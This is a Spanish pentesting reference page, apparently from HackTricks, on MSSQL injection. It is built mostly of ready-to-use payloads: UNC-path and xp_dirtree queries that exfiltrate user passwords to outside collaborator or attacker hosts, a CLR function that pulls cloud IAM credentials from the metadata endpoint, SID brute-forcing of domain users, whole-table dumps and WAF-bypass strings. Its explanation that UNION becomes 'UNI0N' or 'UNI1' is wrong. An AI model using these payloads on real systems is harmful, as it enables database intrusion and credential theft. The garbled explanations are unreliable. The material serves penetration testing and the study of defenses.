hacktricks/pentesting-web/sql-injection/mssql-injection.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

16 KiB

Inyección MSSQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enumeración de Active Directory

Es posible enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL utilizando las siguientes funciones de MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obtiene el nombre de dominio actual.
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Si conoces el nombre del dominio (DOMAIN en este ejemplo), esta función devolverá el SID del usuario Administrator en formato hexadecimal. Esto se verá como 0x01050000000[...]0000f401, nota cómo los últimos 4 bytes son el número 500 en formato big endian, que es el ID común del usuario administrador.
    Esta función te permitirá conocer el ID del dominio (todos los bytes excepto los últimos 4).
  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta función devolverá el nombre de usuario del ID indicado (si existe), en este caso 0000e803 en big endian == 1000 (generalmente este es el ID del primer usuario regular creado). Entonces puedes imaginar que puedes hacer fuerza bruta de los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
def get_sid(n):
	domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
	user = struct.pack('<I', int(n))
	user = user.hex()
	return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vectores basados en errores alternativos

Las inyecciones de SQL basadas en errores suelen tener construcciones como +AND+1=@@version-- y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones suelen ser bloqueadas por los WAFs. Para evitar esto, concatene una cadena utilizando el carácter %2b con el resultado de llamadas de función específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.

Algunos ejemplos de tales funciones son:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

Ejemplo de uso de la función USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

Descripción

fn_xe_file_target_read_file es una función de SQL Server que se utiliza para leer archivos de destino de eventos extendidos. Esta función se puede utilizar para leer archivos remotos si se proporciona una URL como parámetro.

Ejemplo

SELECT fn_xe_file_target_read_file('https://example.com/secret.txt')

Impacto

Un atacante puede utilizar esta función para leer archivos remotos y obtener información confidencial. También puede utilizar esta función para realizar ataques SSRF (Server-Side Request Forgery) y escanear la red interna de la organización.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

Permisos: Requiere permiso de VIEW SERVER STATE en el servidor.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Esta función es utilizada en Microsoft SQL Server para obtener información de auditoría.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

La función fn_trace_gettable se utiliza para leer los datos de seguimiento de SQL Server. Esta función toma como entrada el nombre del archivo de seguimiento y devuelve una tabla que contiene los datos de seguimiento. Es importante tener en cuenta que esta función solo está disponible en SQL Server 2005 y versiones posteriores.

Para utilizar esta función en una inyección SQL, se puede utilizar la siguiente sintaxis:

DECLARE @t TABLE (data nvarchar(max));
INSERT INTO @t EXEC('SELECT * FROM fn_trace_gettable(''C:\path\to\tracefile.trc'', default)');
SELECT * FROM @t;

En este ejemplo, se crea una tabla temporal @t con una columna data de tipo nvarchar(max). Luego, se utiliza la función EXEC para ejecutar una consulta que utiliza la función fn_trace_gettable para leer los datos del archivo de seguimiento especificado. Los resultados de la consulta se insertan en la tabla temporal @t. Finalmente, se seleccionan los datos de la tabla temporal @t.

Es importante tener en cuenta que esta técnica solo funciona si el usuario que ejecuta la consulta tiene permisos para leer el archivo de seguimiento especificado.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

Permisos: Requiere el permiso CONTROL SERVER.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

El método más común que encontrará al usar MSSQL para hacer una llamada de red es el uso del procedimiento almacenado xp_dirtree, que curiosamente no está documentado por Microsoft, lo que hizo que fuera documentado por otras personas en Internet. Este método se ha utilizado en múltiples ejemplos de publicaciones de exfiltración de datos fuera de banda en Internet.

Básicamente,

DECLARE @user varchar(100);
SELECT @user = (SELECT user);  
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

Al igual que con LOAD_FILE de MySQL, se puede usar xp_dirtree para hacer una solicitud de red solo al puerto TCP 445. No se puede controlar el número de puerto, pero se puede leer información de recursos compartidos de red.

PD: Esto no funciona en Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) que se ejecuta en un Windows Server 2016 Datacenter en la configuración predeterminada.

Hay otros procedimientos almacenados como master..xp_fileexist o xp_subdirs que se pueden utilizar para obtener resultados similares.

xp_cmdshell

Obviamente, también se puede usar xp_cmdshell para ejecutar algo que desencadene un SSRF. Para obtener más información, lea la sección relevante en la página:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

Función definida por el usuario MSSQL - SQLHttp

Es bastante sencillo escribir una UDF CLR (Función definida por el usuario de tiempo de ejecución común - código escrito con cualquiera de los lenguajes .NET y compilado en un DLL) y cargarla dentro de MSSQL para funciones personalizadas. Sin embargo, esto requiere acceso dbo, por lo que es posible que no funcione a menos que la conexión de la aplicación web a la base de datos sea como sa o un rol de administrador.

Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.

El código http.cs utiliza la clase WebClient para hacer una solicitud GET y obtener el contenido según se especifica.

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
    [Microsoft.SqlServer.Server.SqlFunction]
    public static SqlString http(SqlString url)
    {
        var wc = new WebClient();
        var html = wc.DownloadString(url.Value);
        return new SqlString (html);
    }
}

En las instrucciones de instalación, ejecuta lo siguiente antes de la consulta CREATE ASSEMBLY para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puedes ver la lista usando select * from sys.trusted_assemblies;)

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Una vez que se agrega el ensamblado y se crea la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP.

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Explotación rápida: Obtener una tabla completa en una sola consulta

Existen dos formas sencillas de obtener el contenido completo de una tabla en una sola consulta: el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como "raw", por lo que en términos de brevedad FOR JSON es más eficiente.

La consulta para obtener el esquema, las tablas y las columnas de la base de datos actual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 

Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de las expresiones sin ninguno de ellos no se puede formatear como JSON.

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 

Recuperando la consulta actual

La consulta SQL actual que se está ejecutando se puede recuperar desde el acceso sys.dm_exec_requests y sys.dm_exec_sql_text:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

Permisos: Si el usuario tiene permisos de VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Pequeños trucos para eludir WAF

Caracteres de espacio en blanco no estándar: %C2%85 o %C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null-- 

Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:

Es posible utilizar la notación científica (0e) o hexadecimal (0x) para ofuscar la palabra clave UNION en una inyección SQL. Por ejemplo, en lugar de escribir "UNION", se puede escribir "UNI0N" utilizando la notación hexadecimal o "UNI1" utilizando la notación científica. Esto puede confundir a los filtros de entrada y permitir que la inyección SQL tenga éxito.

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
 
https://vuln.app/getItem?id=0xunion+select+null,@@version,null-- 

Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- 

Separador \N entre SELECT y una columna desechable:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- 

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥